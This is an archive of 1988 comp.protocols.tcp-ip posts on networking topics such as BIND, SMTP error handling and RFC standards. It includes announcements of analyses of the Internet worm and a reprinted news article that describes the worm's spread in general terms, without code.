To:        comp.protocols.tcp-ip
Subject:   RE:Is sysV bind hopeless?


Andy,

We have bind4.8 running under system V 3.1 and 3.2. These systems are running
on 3b2 hardware as well as 386 hardware boxes. The TCP/IP code is 4.3 based
and is running in the STREAMS environment. If you need more information send
mail to me at: mja@twg.com

Mike Anello
The Wollongong Group

-----------[000085][next][prev][last][first]----------------------------------------------------
Date:      9 Dec 88 18:55:53 GMT
From:      dpowles@CCD.BBN.COM ("Drew M. Powles")
To:        comp.protocols.tcp-ip
Subject:   seeking VMS mail

I'm not sure this is the appropriate forum, but here goes:

We're moving some of our mail accounts to a MicroVax under VMS.  We
use the Wollongong package to support all the relevant TCP/IP
protocols, including SMTP.  However, our problem is that VaxMail
itself doesn't really meet our needs.  It's interface to DoD protocol
suite is an afterthought, and it doesn't give you much flexibility to
deal with RFC 822-style headers and the like.  For instance, due to
this lack of integration, when sending to a list of recipients who are
both local and remote, messages passed to the foreign mailer for
remote recipients lose the names of the local recipients.

I'm sure there are plenty of people out there using VAX/VMS on the
Internet.  Can you give us any advice, or recommend alternate mail
packages?

many thanks,
Drew Powles
Columbia Professional Services
BBN Communications

dpowles@bbn.com

p.s.  I'll provide a synopsis for the group, so please send only to
me, and I'll send out the total results later.

-----------[000086][next][prev][last][first]----------------------------------------------------
Date:      9 Dec 88 22:07:53 GMT
From:      MAB@CORNELLC.CIT.CORNELL.EDU (Mark Bodenstein)
To:        comp.protocols.tcp-ip
Subject:   Re: ToasterNet (was Re: Running out of Internet addresses?)

> ...                                              Traffic lights on
>the Internet.  ...

Could they be used for flow control?  :-)

Mark Bodenstein   (mab@cornellc.cit.cornell.edu)
Cornell University

-----------[000087][next][prev][last][first]----------------------------------------------------
Date:      9 Dec 88 23:49:14 GMT
From:      budden@tetra.NOSC.MIL (Rex A. Buddenberg)
To:        comp.protocols.tcp-ip
Subject:   Re: EDI spec

Wiz,

There was a discussion on this topic a couple months ago on
comp.protocols.iso.  

Rex Buddenberg

-----------[000088][next][prev][last][first]----------------------------------------------------
Date:      10 Dec 88 02:44:56 GMT
From:      mrose@TWG.COM (Marshall Rose)
To:        comp.protocols.tcp-ip
Subject:   Re: RCP and LOTOS

There are a number of fundamental differences in the OSI remote
operations model from the traditional RPC mechanism used, e.g., by Sun.
Although a number of these might be addressed over time (e.g., at the
moment all OSI remote operations are based on a connection-oriented
transport), it's not clear how much will carry over.

I recently re-cast rsh using OSI remote operations, calling the result
"osh".  Although the ROS-based protocol was fairly simple,
implementation of it was very painful in comparison to rsh.  A lot of
this is due to the amazing similarity between the service raw TCP gives
you (a reliable byte stream) and what a UNIX pipe offers.  In contrast,
OSI remote operations, while connection-oriented, still pass discrete
units (i.e., use of ASN.1, et. al., imposes structure).

/mtr

-----------[000089][next][prev][last][first]----------------------------------------------------
Date:      10 Dec 88 03:26:55 GMT
From:      emv@a.cc.umich.edu (Ed Vielmetti)
To:        comp.protocols.tcp-ip
Subject:   statspy avail. for anonymous ftp anywhere?

Anywhere I can ftp statspy from?  Thanks.  --Ed

(I'll summarize if there are multiple answers.  Looking mostly for
the "official" repository. )

-----------[000090][next][prev][last][first]----------------------------------------------------
Date:      10 Dec 88 07:12:14 GMT
From:      OLE@CSLI.Stanford.EDU (Ole J. Jacobsen)
To:        comp.protocols.tcp-ip
Subject:   RFCs and MIL-STDs


Hi,

	In the July 1988 issue of ConneXions, we printed a list of
sources for information on TCP/IP, and I felt it was necessary to
say something about the relationship of RFCs to MIL-STDs. After
consulting with the Internet Czar, we came up with the following
paragraph:

	"There are five (5) Military Standard (MIL-STD) documents.
The IP and TCP MIL-STDs are completely different from the corresponding
RFCs yet intending to define the same protocols. The FTP, MAIL and
Telnet RFCs are copies of the corresponding RFCs. Implementors should
always use all the available information. There are some known errors
in the MIL-STDs (specifically, see RFC 963 and RFC 964). In cases of
confusion, the RFCs should take precedence over MIL-STDs."


Ole
-------

-----------[000091][next][prev][last][first]----------------------------------------------------
Date:      10 Dec 88 07:40:11 GMT
From:      donn@wasatch.UUCP (Donn Seeley)
To:        comp.unix.wizards,comp.protocols.tcp-ip
Subject:   'A Tour of the Worm' is available for ftp

A first draft of this paper was finished by November 17 and has seen
wide circulation.  After receiving a number of helpful review comments
over the last few weeks, I made some changes and a final draft is now
available for anonymous FTP.  To retrieve this paper:

	$ ftp cs.utah.edu
	Name (cs.utah.edu:someone): anonymous
	331 Guest login ok, send ident as password.
	Password: anything
	230 Guest login ok, access restrictions apply.
	ftp> cd pub
	250 CWD command successful.
	ftp> get tour.n
	200 PORT command successful.
	150 Opening ASCII mode data connection for tour.n (70870 bytes).
	226 Transfer complete.
	local: tour.n remote: tour.n
	73134 bytes received in 1.1 seconds (67 Kbytes/s)
	ftp> get tour.crt
	200 PORT command successful.
	150 Opening ASCII mode data connection for tour.crt (77843 bytes).
	226 Transfer complete.
	local: tour.crt remote: tour.crt
	79545 bytes received in 1.2 seconds (67 Kbytes/s)
	ftp> quit
	221 Goodbye.
	$

The file 'tour.n' should be formatted with 'troff -me'.  For people who
don't have 'troff' or the '-me' macro package, the file 'tour.crt' is a
pre-formatted version of the document which can be viewed on an
ordinary terminal (it's just 'tour.n' run through 'nroff -me').

Why might you be interested in this paper?  The paper is written at a
moderate level of detail and is intended for an audience of ordinary
Unix users who want to know what the worm did but don't want to read
code listings.  The paper contains a concise chronology of the
infection and a phase-by-phase analysis of the activities of the worm.
My connection with the worm episode:  I was a member of the decompiling
team at Berkeley on November 3, and subsequently spent a substantial
amount of time finishing the decompilation, analyzing the code and
furnishing comments.  I put in a number of long nights on this and I
hope other people can benefit from it.

I will make a presentation based on this paper at the upcoming winter
Usenix conference, and a copy of the paper may appear in the proceedings.

Donn Seeley    University of Utah CS Dept    donn@cs.utah.edu
40 46' 6"N 111 50' 34"W    (801) 581-5668    utah-cs!donn

-----------[000092][next][prev][last][first]----------------------------------------------------
Date:      10 Dec 88 19:52:49 GMT
From:      jlfox@cisunx.UUCP (James L Fox)
To:        soc.net-people,comp.protocols.tcp-ip
Subject:   Path to Eriksson Data Services, Stockholm

Does anyone know a path via uucp, internet, or bitnet to
Eriksson Data Services in Stockholm, Sweden?
Any help would be appreciated.

--Jim Fox

jlfox@pittvms.bitnet
jlfox@unix.cis.pittsburgh.edu
jlfox@vms.cis.pittsburgh.edu
{decwrl!allegra,bellcore,cadre,psuvax1}!pitt!cisunx!jlfox

-----------[000093][next][prev][last][first]----------------------------------------------------
Date:      10 Dec 88 20:51:56 GMT
From:      spaf@cs.purdue.EDU (Gene Spafford)
To:        news.sysadmin,comp.protocols.tcp-ip
Subject:   Update to Purdue Tech report on the Worm

General Information
-------------------
My technical report, "The Internet Worm Program: An Analysis", Purdue
Technical Report CSD-TR-823, has been revised.  The revisions were
mostly small grammatical corrections, but also included fixes for a few
minor errors and omissions and to clarify a few points.

The revised report has the words "revised December 8, 1988" at the
bottom of the title page.  None of the paper copies of the report
mailed prior to December 14 had the corrections in place.  The FTP
versions of the report on arthur.cs.purdue.edu  were updated on
December 10.  The copies on uunet and osu-cis were also updated Dec. 10.

The two versions are very similar and unless you are keeping an
archival copy of the report for some reason, you should not need to get
an updated version.  A full copy of the revised version will appear in
the January issue of "Computer Communication Review," published by ACM
SIGCOM (v.19 #1), so copies may also be made from that source.

I welcome your continued comments and suggestions.
--gene spafford
10 December 1988


Changes of note
---------------
Page 1, 3rd paragraph.
s/By late Thursday night/By late Wednesday night/

Page 2, 2nd paragraph.
s/As of November 27, I am aware of at least five versions/
	/As of December 8, I am aware of at least eleven versions/

Page 5, 1st paragraph of 3.1.2.
The reference to SMTP should be Postel 1982, RFC 821, instead of RFC 822 by
Crocker.  Another classic off-by-one error :-)

Page 5, section 3.1.2.
The new version of sendmail will be version 5.61.  It is scheduled to be
available after December 12.  *Any* version prior to 5.59, even if patched
with the fixes in Appendix D, has some security problems and should be
replaced.

Page 9, the Vax code.
s/pushrl/pushl/ everywhere.

Page 10.
Footnote #9 refers to the mention of "rexec" in point 10a.
The reference to footnote 9 should be to footnote 10 in the sentence
ending "...predetermined TCP socket."

Page 25, comments on "test".
Now noted that the "[" synonym for "test" is now built in to many (but not
all) shells.  Explicitly noted that the "-e" flag is in the "csh" version of
"test" (but is not in the /bin/test or "test" built in to the Bourne shell).

Page 25, footnote #17.
The patch was actually developed at a meeting of Purdue admins, staff and
faculty.  The confirmation of the patch was done by Braunsdorf & Kulawiec.

Page 30, paragraph 4.
s/almost no men's names/almost no common men's names/
-- 
Gene Spafford
NSF/Purdue/U of Florida  Software Engineering Research Center,
Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004
Internet:  spaf@cs.purdue.edu	uucp:	...!{decwrl,gatech,ucbvax}!purdue!spaf

-----------[000094][next][prev][last][first]----------------------------------------------------
Date:      11 Dec 88 09:34:29 GMT
From:      VSBENZI@WEIZMANN.BITNET (Benzi mizrahi)
To:        comp.protocols.tcp-ip
Subject:   LPR/LPD for WIN-TCP on VAXen

Does anyone know of such implementation for Wollongong TCPIP on VAXes?

Thanx, Benzi

-----------[000095][next][prev][last][first]----------------------------------------------------
Date:      Sun, 11 Dec 88 11:34:29 +0200
From:      Benzi mizrahi <VSBENZI%WEIZMANN.BITNET@CUNYVM.CUNY.EDU>
To:        TCP-IP@sri-nic.arpa
Subject:   LPR/LPD for WIN-TCP on VAXen
Does anyone know of such implementation for Wollongong TCPIP on VAXes?

Thanx, Benzi
-----------[000096][next][prev][last][first]----------------------------------------------------
Date:      11 Dec 88 23:24:54 GMT
From:      jbn@glacier.STANFORD.EDU (John B. Nagle)
To:        comp.protocols.tcp-ip
Subject:   Re: low speed tcp


     At 576 bytes per datagram, header overhead is only 7%.  Only if
you send very tiny packets is header overhead an issue, and we solved
the tinygram problem years ago.  Don't worry, be happy.

					John Nagle

-----------[000097][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 02:50:26 GMT
From:      brian@apt.UUCP (Brian Litzinger)
To:        comp.protocols.tcp-ip
Subject:   VAX DECNET & Unix-pc TCP/IP question

I am looking into the possibility of using a VAX 8530
as a file server for a bunch of unix-pc machines.  I
am currently hoping that some sort of NFS mechanism
may exist somewhere to allow the VAX to be an NFS
server.

The VAX systems consists of a VAX 8530, 64MB Memory, 2.5GB Mass 
Storage, running VMS 4.6 & VAX DECNET.

If you know of a solution for this problem, or a direction
for me to proceed I would appreciate your email'ing me
the information.

Thanks in advance,

<>  Brian Litzinger @ APT Technology Inc., San Jose, CA
<>  UUCP:  {decwrl,sun,pyramid}!daver!apt!brian    brian@apt.UUCP
<>  VOICE: 408 370 9077
<>  FAX:   408 370 9291

-----------[000098][next][prev][last][first]----------------------------------------------------
Date:      Mon, 12 Dec 88 13:56:59 -0500 (EST)
From:      "Craig F. Everhart" <cfe+@andrew.cmu.edu>
To:        Outbound News <outnews+ext.nn.comp.mail.sendmail@andrew.cmu.edu>, tcp-ip@sri-nic.arpa
Subject:   Re: implementation question
I like [a] better (give an SMTP error rather than accept a piece of mail for
later rejection).  If you're most interested in tolerating a system that doesn't
interpret your error codes, maybe you can narrow how you read the specification
so that the error code you generate will be one that the remote system will
interpret the way you want (as a permanent error).  If the system in question
won't interpret anything as a permanent error, this mechanism won't help much.

One of the good reasons for preferring [a] when possible is that it gives faster
error turnaround to the user, not to mention causing less overhead for your
system because it doesn't have to handle composition, enqueueing, and delivery
of the error message piece of mail.  The significant reason for preferring [b],
other than the reason you give of confused SMTP-user ends, is that if you always
accept mail for later delivery, the SMTP-user end doesn't have to wait around
while you check for the permanent-failure condition in question.

                Craig Everhart
-----------[000099][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 07:44:22 GMT
From:      lear@NET.BIO.NET (Eliot Lear)
To:        comp.mail.sendmail,comp.protocols.tcp-ip
Subject:   implementation question


I have always believed that the general rule for implementations is
that they should expect the least from other implementations, and
be as robust as possible, as far as conformance to a given RFC is
concerned.  With that thought in mind, I have a question for TCP-IP
implementors who have done SMTP implementations.

Given a permanent error condition and that you control SMTP server
code, which do you believe to be the better action?

[a] Immediately have a server respond with an error to the SMTP client
    leave the client to report the error.

[b] Receive the message and report the error directly to the sender.

Solution [a] is the straight forward method which programs such as
most incarnations of sendmail use.  I know of at least one
implementation that has used solution [b] in the past.  The reason for
using solution [b] is that I would not have to rely on any other
implementation to properly dispose of the error.  I have heard of at
least one implementation that considered a particular permanent error
response as temporary, and the fact that it was blatantly wrong didn't
stop it from continually retrying our host.  Using solution [b]
eliminates such bizarre cases, but places honus of error handling on
the server.

What's your opinion?
-- 
Eliot Lear
[lear@net.bio.net]

-----------[000100][next][prev][last][first]----------------------------------------------------
Date:      Mon 12 Dec 88 13:31:56  EST
From:      WIESEL%DKAUNI0P.BITNET@CUNYVM.CUNY.EDU ("Joachim Wiesel")
To:        TCP-IP@SRI-NIC.ARPA (tcp-ip list)
Subject:   tn3270 on Sys V.3 ??
Does anyone know wether there is a version of
 TN3270 available for Unix System V.3 ( I am running ISC 386/ix ) ?

Any help welcome

Joachim Wiesel
-----------------------------------------------------------------------
Joachim Wiesel, Department of Photogrammetry and Remote Sensing (IPF)
Karlsruhe University,                      P.O.Box 6980, Englerstr. 7
D-7500 Karlsruhe, West-Germany,                Tel.: +49 721 608 2316
-----------------------------------------------------------------------

-----------[000101][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 14:22:00 EDT
From:      "AMSP6::CHRISTEVT" <christevt%amsp6.decnet@wpafb-ams1.arpa>
To:        "tcp-ip" <tcp-ip@sri-nic.arpa>
Subject:   Virus and ethics articles
                   I N T E R O F F I C E   M E M O R A N D U M

                                        Date:      12-Dec-1988 14:22 
                                        From:      Victor ET Christensen 
                                                   CHRISTEVT 
                                        Dept:      
                                        Tel No:    

TO:  _MAILER!                             ( _DDN[VIRUS-L%LEHIIBM1.BITNET@CUNYVM.CUNY.EDU] )
TO:  _MAILER!                             ( _DDN[ETHICS-L%POLYGRAF.BITNET@CUNYVM.CUNY.EDU] )
TO:  _MAILER!                             ( _DDN[TCP-IP@SRI-NIC.ARPA] )


Subject: Virus and ethics articles



      OK, folks, I got permission to send these out...I hope they're not too 
out of date! These have been posted to VIRUS-L, ETHICS-L and TCP-IP...



      For both:

      	    Government Computer News
      	    8601 Georgia Avenue, Suite 300
      	    Silver Spring, MD 20910
      	    (301) 650-2000

      	    November 21, 1988
      	    Volume 7  Number 24
      	    Copyright 1988 Ziff-Davis Publishing Company


Cover and page 100:

                         "BIG GUNS TAKE AIM AT VIRUS"
                           by Neil Munro, GCN Staff

      "In the aftermath of the most recent virus infection of the Defense Data 
Network and Arpanet, Defense Department and National Institute of Standards 
and Technology computer security officials are scrambling to head off further 
attacks.

      "Officials of the facilities struck by the virus met this month to 
discuss its nature and impact. The meeting at National Security Agency 
headquarters in Fort Meade, Md., included representatives of NSA and NIST as 
'observers,' according to NIST computer security chief Stuart Katzke.

      "Two days later, NSA and NIST officials met again to discuss how to 
avert future infections, Katzke said. Katzke, who attended both meetings, said 
no decisions had been reached on how to combat viruses, and NSA and NIST 
representatives will meet again to firm up recommendations.

      "Katzke, however, suggested one solution would be the formation of a 
federal center for anti-virus efforts, operated jointly by NSA's National 
Computer Security Center (NCSC) and NIST.

      "The center would include a clearinghouse that would collect and 
disseminate information about threats, such as flaws in operating systems, and 
solutions. However, funding and personnel for the center is a problem, he 
said, because NIST does not have funds for such a facility.

      "The center also would help organize responses to emergencies by quickly 
warning users of new threats and defenses against them, he said. People with 
solutions to a threat could transmit their answers through the center to 
threatened users, he said. A database of experts would be created to speed 
response to immediate threats.

      "The center would develop means of correcting flaws in software, such as 
trapdoors in operating systems. Vendors would be asked to develop and field 
solutions, he said.

      "NIST would work on unclassified systems and the NCSC would work on 
secure military systems, he said. Information learned about viruses from 
classified systems might be made available to the public through the 
clearinghouse, Katzke said, although classified information would have to be 
removed first.

      "Although the virus that prompted these meetings did not try to destroy 
data, it made so many copies of itself that networks rapidly became clogged, 
greatly slowing down communications. Across the network, computer systems 
crashed as the virus continuously replicated itself.

      "During a Pentagon press conference on the virus outbreak, Raymond 
Colladay, director of the Defense Advanced Research Projects Agency (DARPA), 
said the virus hit 'several dozen' installations out of 300 on the agency's 
unclassified Arpanet network.

"Thousands Affected

      "The virus also was found in Milnet, which is the unclassified portion 
of the Defense Data Network. Estimates of how many computers on the network 
were struck varied from 6,000 to 250,000. The virus did not affect any 
classified systems, DOD officials said.

      "The virus hit DARPA computers in Arlington, Va., and the Lawrence 
Livermore Laboratories in California as well as many academic institutions, 
Colladay said. It also affected the Naval Ocean Systems Command in San Diego 
and the Naval Research Laboratory in Maryland, a Navy spokesman said.

      "Written in C and aimed at the UNIX operating system running on Digital 
Equipment Corp. VAX and Sun Microsystems Inc. computers, the virus was 
released Nov. 2 into Arpanet through a computer at the Massachusetts Institute 
of Technology in Cambridge, Mass.

      "The Virus apparently was intended to demonstrate the threat to 
networked systems. Published reports said the virus was developed and 
introduced by a postgraduate student at Cornell University who specializes in 
computer security. The FBI has interviewed the student.

      "Clifford Stoll, a computer security expert at Harvard University who 
helped identify and neutralize the virus, said the virus was about 40 
kilobytes long and took 'several weeks' to write. It replicated itself in 
three ways.

"Spreading the Virus

      "The first method exploited a little-known trapdoor in the Sendmail 
electronic-mail routine of Berkeley UNIX 4.3, Stoll said. The trapdoor was 
created by a programmer who wanted to remove some bugs, various reports said. 
However, the programmer forgot to remove the trapdoor in the final production 
version. In exploiting this routine, the virus tricked the Sendmail program 
into distributing numerous copies of the virus across the network.

      "Another method used by the virus was an assembly language program that 
found user names and then tried simple variations to crack poorly conceived 
passwords and break into more computers, Stoll said.

      "Yet another replication and transmission method used a widely known bug 
in the Arpanet Finger program, which lets users know the last time a distant 
user has signed onto a network. By sending a lengthy Finger signal, the virus 
gained access to the operating systems of Arpanet hosts.

      "The virus was revealed because its creator underestimated how fast the 
virus would attempt to copy itself. Computers quickly became clogged as the 
virus rapidly copied itself, although it succeeded only once in every 10 copy 
attempts.

      "Users across the country developed patches to block the virus' entrance 
as soon as copies were isolated and analyzed. Many users also used Arpanet to 
disseminate the countermeasures, although transmission was slowed by the 
numerous virus copies in the system.

      "DARPA officials 'knew precisely what the problem was,' Colladay said. 
'Therefore, we knew precisely what the fix was. As soon as we had put that fix 
in place, we could get back on,line.'

      "Colladay said DARPA will revise security policy on the network and will 
decide whether more security features should be added. The agency began a 
study of the virus threat two days after the virus was released, he said.

      "All observers said the Arpanet virus helped raise awareness of the 
general virus threat. Several experts said it would help promote computer 
security efforts. 'Anytime you have an event like this it heightens awareness 
and sensitivity,' Colladay said.

      "However, Katzke cautioned that viruses are less of a threat than are 
access abusers and poor management practices such as inadequate disaster 
protection or password control. Excellent technical anti-virus defenses are of 
no use if management does not maintain proper control of the system, he said.

      "Congress also is expected to respond to the virus outbreak. The 
Computer Virus Eradication Act of 1988, which lapsed when Congress recessed in 
October, will be reintroduced by Rep. Wally Herger (R-Calif.), according to 
Doug Griggs, who is on Herger's staff."


Whew!!! Now for the next one...


Page 85:

               "WHY SOFTWARE DEFECTS SO OFTEN GO UNDISCOVERED"
                        DP ISSUES by William E. Perry

      "Much has been written recently about defects in computer software. 
Defects are not new, but quantifying their frequency is new. We are beginning 
to see the magnitude of the problem.

      "Some researchers say we are making between 40 and 80 defects per 1,000 
lines of source code. A line of source code normally is defined as an 
executable line of code. A defect is a variation from specifications, no 
matter how insignificant.

      "Most defects are caught before the system goes into production. 
However, we are told that, on average, one to three defects per 1,000 lines of 
code get into production. The production defects can cause a minor 
inconvenience, such as misspelling an executive's name, or wreak havoc in an 
organization through the loss of large amounts of resources.

      "There are two kinds of defects: internal defects, which are those 
uncovered by the information systems group, and external defects, which are 
uncovered by end users.

      "The question that needs to be asked in your organization is, 'Who 
uncovers the defects?'

      "The answer may determine how credible your organization is in the eyes 
of your end users. The more defects uncovered by the information systems 
community, the greater the credibility of that information processing 
function.

"Discouraging Efforts

      "But information systems personnel may be discouraged from identifying 
defects, for several reasons:

      "- Finding a defect may mean more work for them, not only in correcting 
it but also in tracking, monitoring and retesting the corrections.

      "- Frequently, there is a finger-pointing to determine who is 
responsible for the defect. The game is to pin the blame on another person. An 
individual held responsible for a defect can lose professional credibility and 
be ridiculed by his colleagues.

      "- Finally, defects can result in schedule delays or budget overruns. It 
costs a lot of money to fix a defective product, and the time and effort 
required could delay the project.

      "Minor defects may be ignored, or defect analysis can me skipped, to 
meet schedule and budget limits.

      "There are also adverse consequences when defects are uncovered outside 
the information systems group.

      "First is the high cost of correction. Barry Boehm of TRW Inc. said the 
cost of correcting a defect in production can be as much as 100 times the cost 
of correcting it during development.

      "Also, the information systems group may lose credibility. The end users 
may look for alternative solutions, such as purchased software or 
end-user-developed applications.

      "Some fundamental truths have a bearing on who uncovers defects and the 
effect of those defects.

      "First, punishing those who detect defects in-house only tranfers the 
job to external users and customers. If it is made undesirable for the author 
to find defects in his own work, he won't look for them. People naturally 
avoid punishment.

"Hiding the Blame

      "When individuals are held to blame for defects, they tend to hide them. 
For example, when an independent test group is checking the work of a software 
author, and that test will pinpoint blame on the author, the author will do 
whatever can be done to get the system through the test so future blame will 
rest on the independent test rather than the author.

      "When individuals are encouraged to hide defects, the cause of those 
defects cannot be corrected and they will recur in future systems. This is the 
major consequence of blaming people, rather than processes, for defects.

      "The objective of the information systems organization should be to 
detect 100 of the application defects internally.

      "All defects must be considered. These include not only defects made 
because of MIS errors but also defects because of poor requirement 
identification and poor design concepts. Whenever the system fails to meet the 
true needs of the customer in a cost-effective manner, it should be considered 
a defect.

      "Information systems managers must uncover defects internally. This 
means not blaming one's employees for defects uncovered during development. In 
fact, it may be necessary to reward internally uncovered defects in order to 
reduce externally uncovered defects."

      William E. Perry is executive director, Quality Assurance Institute, 
Orlando, Fla.



      That's it! I hope at least some, if not all, of you found it of 
interest!

                                   ET B ME
                                     VIC
                                      !


------
-----------[000102][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 14:20:18 GMT
From:      mckee@MITRE.ARPA (H. Craig McKee)
To:        comp.protocols.tcp-ip
Subject:   Re: ToasterNet (was Re: Running out of Internet addresses?)


 lts!amanda@uunet.uu.net (Amanda Walker) writes:

>This reminds me of a remark Gurshuran Sidhu made at an Apple networking
>conference a couple years ago.  He described Ethernet addresses as having
>been "designed to be intergalactically unique."

What was the rationale for 48-bit Ethernet addresses?  They are never
used beyond the "Local" Area Network; duplicate addresses at different
sites shouldn't matter.  Regards - Craig

-----------[000103][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 15:10:00 GMT
From:      Ata@RADC-MULTICS.ARPA ("John G. Ata")
To:        comp.protocols.tcp-ip
Subject:   Re: Update to Purdue Tech report on the Worm


The you have a vanilla version of the report that is not compressed or
uses Postcript?

                              Thanks
                              John G. Ata

-----------[000104][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 15:23:00 GMT
From:      Ata@RADC-MULTICS.ARPA ("John G. Ata")
To:        comp.protocols.tcp-ip
Subject:   Re: implementation question



    From:  apple!bionet!lear at BLOOM-BEACON.MIT.EDU (Eliot Lear)
    Subject:  implementation question

    Given a permanent error condition and that you control SMTP server
    code, which do you believe to be the better action?
    
    [a] Immediately have a server respond with an error to the SMTP client
        leave the client to report the error.
    
    [b] Receive the message and report the error directly to the sender.
    
I believe that [a] is the more efficient way to go.  This is because if
a SMTP server KNOWS that it cannot deliver the message to the intended
recipient, it is taking up network bandwidth needlessly by accepting the
message.  It would seem that the proper thing to do is to reject the
message at that point, so that the SMTP user can then return the mail
item to sender.

                              John G. Ata

-----------[000105][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 15:28:49 GMT
From:      jbvb@VAX.FTP.COM (James Van Bokkelen)
To:        comp.protocols.tcp-ip
Subject:   Re: RFCs and MIL-STDs

You should be sure to note that the FTP MIL-STD is a copy of the obsolete
FTP RFC 765; It does not include a number of things added in RFC 959.

James VanBokkelen
FTP Software Inc.

-----------[000106][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 16:38:00 GMT
From:      carlos@deervax.concordia.ca (Carlos Perez)
To:        comp.protocols.tcp-ip
Subject:   Re: RCP and LOTOS


Thank you for your comments [I'm re-posting them to tcp-ip because
I am looking for more opinions on this subject]: 

>>I'm not sure what you mean by RPC, but if you mean "Sun RPC" you can
>>just run XDR and RPC atop ISO, given a "transport" implementation for
>>it, so I don't see that switching to ASN.1 from XDR helps - in any
>>*practical* sense - migration.  (It may make some purist happier, but
>>they might be even happier if you run some ISO-blessed RPC scheme....)

It is my understanding that there are several variations of RPC, 
thus their interfaces (on the applications side and on the transport
side) should be standardized for the sake of interoperability (this is
my particular opinion). What I wonder is how these interfaces should 
be efficiently (openly) defined and if it is worth at all defining them.
First, I would like  to understand how a standard RPC would look like and
then, see how this 'pseudo-standard' would relate to OSI, more for academic 
purposes than for practical ones (although interoperability is a
practical aspect).

-_-_-_
Carlos Perez, Systems Programmer                   
Concordia University                             
1455 de Maisonneuve Blvd. West                    
Montreal, Quebec, H3G 1M8                        
(514) 848-3107                                  
E-mail: carlos@deervax.concordia.ca

-----------[000107][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 17:14:56 GMT
From:      ron@iconsys.UUCP (Ron Holt)
To:        comp.protocols.tcp-ip
Subject:   How to determine route taken between two hosts.


Are there any programs available to determine what path (or paths)
is being used to transmit TCP packets between two hosts?  What I
would like is something like "ping" that also shows the route the
IMP packet took.  Isn't there a "route record" option to TCP that
would do the trick?
-- 
Ron Holt                     UUCP: uunet!iconsys!ron
Software Development Manager ARPANET: iconsys!ron@uunet.uu.net
Icon International, Inc.     PHONE: (801) 225-6888
Orem, Utah 84058	     FAX: (801) 226-0651

-----------[000108][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 17:15:31 GMT
From:      barns@GATEWAY.MITRE.ORG (Bill Barns)
To:        comp.protocols.tcp-ip
Subject:   Re:  implementation question

I once wrote an SMTP which got fairly heavy use, though lately I am out
of the business of maintaining it.  I have the feeling you are looking
for someone to tell you it is fine to use method [b] (accept the mail
and then mail a rejection).  I sympathize with the problems of dealing
with brain-damaged mailers at other sites, but I think that method [b] is
too extreme for general use, notwithstanding your clever and, uh,
innovative application of "...be liberal in what you accept..."

This would have been more convincing if it didn't impose a constraint
on other people's mailers.  They may feel that they can do a better job
writing an error message than you can.  Suppose a message is sent to a
long list of addresses and several of the deliveries immediately fail for
whatever reasons.  A clever SMTP-sender (like mine) would avoid a lot of
mailbox clutter by handing the originator one error notification
listing the failures and the reasons, if it were given the opportunity
to do so - and method [b] takes away that opportunity.  Or, a sending
SMTP might want to generate the error text in some language other than
the one your SMTP speaks.

Insofar as the Host Requirements RFC (yes, it's still a-comin') says
anything on this topic, it pushes toward returning SMTP error codes at
the first appropriate moment, and minimizing after-the-fact failure
messages.  I think this is generally the right thing to do.  However,
no rule prohibits you from adopting unusual measures to defend yourself
when necessary.  I hope you can go with method [a] at least for the
most part, and find some practical criterion for restricting [b] to
actual evildoers - perhaps a configuration file listing the nasty
hosts, or heuristics to recognize the retry that ought not to be.

Bill Barns / MITRE-Washington / barns@gateway.mitre.org

-----------[000109][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 18:17:16 GMT
From:      jochen@iraul1.ira.uka.de (Jochen Grobholz)
To:        comp.protocols.tcp-ip
Subject:   slip


Hello Netland !

I'm looking for more informations about slip. Planned for implementing
on a HP825 System V.3. Does any adaption of slip to System V.3 exist ??
Please write to urle@ira.uka.de

-----------[000110][next][prev][last][first]----------------------------------------------------
Date:      12 Dec 88 18:22:00 GMT
From:      christevt%amsp6.decnet@WPAFB-AMS1.ARPA ("AMSP6::CHRISTEVT")
To:        comp.protocols.tcp-ip
Subject:   Virus and ethics articles


                   I N T E R O F F I C E   M E M O R A N D U M

                                        Date:      12-Dec-1988 14:22 
                                        From:      Victor ET Christensen 
                                                   CHRISTEVT 
                                        Dept:      
                                        Tel No:    

TO:  _MAILER!                             ( _DDN[VIRUS-L%LEHIIBM1.BITNET@CUNYVM.CUNY.EDU] )
TO:  _MAILER!                             ( _DDN[ETHICS-L%POLYGRAF.BITNET@CUNYVM.CUNY.EDU] )
TO:  _MAILER!                             ( _DDN[TCP-IP@SRI-NIC.ARPA] )


Subject: Virus and ethics articles



      OK, folks, I got permission to send these out...I hope they're not too 
out of date! These have been posted to VIRUS-L, ETHICS-L and TCP-IP...



      For both:

      	    Government Computer News
      	    8601 Georgia Avenue, Suite 300
      	    Silver Spring, MD 20910
      	    (301) 650-2000

      	    November 21, 1988
      	    Volume 7  Number 24
      	    Copyright 1988 Ziff-Davis Publishing Company


Cover and page 100:

                         "BIG GUNS TAKE AIM AT VIRUS"
                           by Neil Munro, GCN Staff

      "In the aftermath of the most recent virus infection of the Defense Data 
Network and Arpanet, Defense Department and National Institute of Standards 
and Technology computer security officials are scrambling to head off further 
attacks.

      "Officials of the facilities struck by the virus met this month to 
discuss its nature and impact. The meeting at National Security Agency 
headquarters in Fort Meade, Md., included representatives of NSA and NIST as 
'observers,' according to NIST computer security chief Stuart Katzke.

      "Two days later, NSA and NIST officials met again to discuss how to 
avert future infections, Katzke said. Katzke, who attended both meetings, said 
no decisions had been reached on how to combat viruses, and NSA and NIST 
representatives will meet again to firm up recommendations.

      "Katzke, however, suggested one solution would be the formation of a 
federal center for anti-virus efforts, operated jointly by NSA's National 
Computer Security Center (NCSC) and NIST.

      "The center would include a clearinghouse that would collect and 
disseminate information about threats, such as flaws in operating systems, and 
solutions. However, funding and personnel for the center is a problem, he 
said, because NIST does not have funds for such a facility.

      "The center also would help organize responses to emergencies by quickly 
warning users of new threats and defenses against them, he said. People with 
solutions to a threat could transmit their answers through the center to 
threatened users, he said. A database of experts would be created to speed 
response to immediate threats.

      "The center would develop means of correcting flaws in software, such as 
